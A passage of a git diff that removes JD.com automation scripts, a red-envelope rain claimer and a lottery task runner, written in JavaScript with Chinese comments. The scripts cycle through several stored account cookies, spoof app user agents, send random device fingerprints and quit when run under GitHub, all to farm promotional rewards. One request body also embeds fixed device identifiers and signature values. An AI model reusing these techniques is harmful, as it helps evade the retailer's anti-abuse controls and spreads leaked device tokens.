url.substr(url.indexOf("id=") + 3) - $.startTime = act.startTime - $.endTime = act.endTime - console.log(`下一场红包雨开始时间:${new Date(act.startTime)}`) - console.log(`下一场红包雨结束时间:${new Date(act.endTime)}`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function receiveRedRain() { - return new Promise(resolve => { - const body = {"actId": $.activityId}; - $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.subCode === '0') { - console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) - // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` - message += `${data.lotteryResult.jPeasList[0].ext}:${(data.lotteryResult.jPeasList[0].quantity)}京豆\n` - - } else if (data.subCode === '8') { - console.log(`今日次数已满`) - message += `领取失败,今日已签到\n`; - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(function_id, body = {}) { - return { - url: `https://api.m.jd.com/client.action?functionId=${function_id}`, - body: 'area=12_904_908_57903&body=%7B%22liveId%22%3A%223019486%22%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=00bd2eef415d0c689bd0bd74620682dd&st=1607777434410&sv=101&uts=0f31TVRjBSsySvX9aqk89gHBMqz5E28EYCqc3cRu/4%2Bv0EzRuStHwMI1R5P9RqeizLow/pAquaX1v5IJQGVxUzSfExCFmfO0L7BEMvXnkeCZhKEsmSkbQm54W7ig8aRsmHiXp7YT/SOV7sEKxXauv59O/SAAFkr1egGgKev7Uj81nJRFDnNRSomlrOj2jQzH6iddCTSpydcSYRnDyDcodA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', - headers: { - 'Host': 'api.m.jd.com', - 'content-type': 'application/x-www-form-urlencoded', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - //"Cookie": cookie, - } - } -} - -function taskUrl(function_id, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Referer": "https://h5.m.jd.com/active/redrain/index.html", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_lxLottery.js b/activity/jd_lxLottery.js deleted file mode 100644 index 663abdd..0000000 --- a/activity/jd_lxLottery.js +++ /dev/null @@ -1,353 +0,0 @@ -/* -京东我的理想家,可抽奖获得京豆, -活动入口:京东我的理想家 https://u.jd.com/nw7Fv3T 旁边的立即抽奖 -by:小手冰凉 tg:@chianPLA -交流群:https://t.me/jdPLA2 -脚本更新时间:2021-12-7 14:20 -脚本兼容: Node.js -新手写脚本,难免有bug,能用且用。 -============Quantumultx=============== -[task_local] -#京东我的理想家 -10 7 * * * jd jd_lxLottery.js, tag=京东我的理想家, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_lxLottery.png, enabled=true - - */ -const $ = new Env('京东我的理想家'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -let configCode = "0628b69aed4d40c893096a6ca7119524"; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdmodule(); - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function showMsg() { - return new Promise(resolve => { - $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); - resolve() - }) -} - - -async function jdmodule() { - let runTime = 0; - do { - await getinfo(); //获取任务 - $.hasFinish = true; - await run(); - runTime++; - } while (!$.hasFinish && runTime < 6); - - await getinfo(); -console.log("开始抽奖"); - for (let x = 0; x < $.chanceLeft; x++) { - await join(); - await $.wait(1500) - } - - - -} - -//运行 -async function run() { - try { - for (let vo of $.taskinfo) { - if (vo.hasFinish === true) { - console.log(`任务${vo.taskName},已完成`); - continue; - } - if (vo.taskName.includes('加购') && !['card','car'].includes(process.env.FS_LEVEL)) { - console.log('默认跳过加购,请设置通用加购/开卡变量FS_LEVEL为car(加购)或card(开卡+加购)') - continue - } - console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); - await doTask(vo.taskType, vo.taskItem.itemId); - await $.wait(1000 * vo.viewTime) - await getReward(vo.taskType, vo.taskItem.itemId); - $.hasFinish = false; - } - } catch (e) { - console.log(e); - } -} - - -// 获取任务 -function getinfo() { - return new Promise(resolve => { - $.get({ - url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${configCode}&unionCardCode=`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getinfo请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.chanceLeft = data.data.chanceLeft; - if (data.success == true) { - $.taskinfo = data.data.taskConfig - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//抽奖 -function join() { - return new Promise(async (resolve) => { - $.get({ - url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${configCode}&fp=${randomWord(false,32,32)}&eid=`, - headers: { - 'Host': 'jdjoy.jd.com', - 'accept': '*/*', - 'content-type': 'application/json', - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "origin": "https://prodev.m.jd.com", - 'X-Requested-With': 'com.jingdong.app.mall', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'accept-language': 'zh-Hans-CN;q=1', - 'cookie': cookie - }, - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} join请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.success == true) { - // console.log(data); - console.log(`抽奖结果:${data.data.rewardName}`); - } - else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -//获取首页活动 -function doTask(taskType, itemId) { - return new Promise(resolve => { - let options = taskPostUrl('doTask', `{"configCode":"${configCode}","taskType":${taskType},"itemId":"${itemId}"}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} doTask请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("领取任务成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - -//领取任务奖励 -function getReward(taskType, itemId) { - return new Promise(resolve => { - let options = taskPostUrl('getReward', `{"configCode":"${configCode}","taskType":${taskType},"itemId":"${itemId}"}`) - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`); - console.log(`${$.name} getReward请求失败,请检查网路重试`); - } else { - data = JSON.parse(data); - if (data.success == true) { - console.log("任务奖励领取成功"); - } else { - console.log(data.errorMessage); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - - - -function taskPostUrl(function_id, body = {}) { - return { - url: `https://jdjoy.jd.com/module/task/draw/${function_id}`, - body: `${(body)}`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/json", - "Host": "jdjoy.jd.com", - "x-requested-with": "com.jingdong.app.mall", - "Referer": "https://prodev.m.jd.com/mall/active/ebLz35DwiVumB6pcrGkqmnhCgmC/index.html", - "origin": "https://prodev.m.jd.com", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function randomWord(randomFlag, min, max){ - var str = "", - range = min, - arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; - - // 随机产生 - if(randomFlag){ - range = Math.round(Math.random() * (max-min)) + min; - } - for(var i=0; i { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] 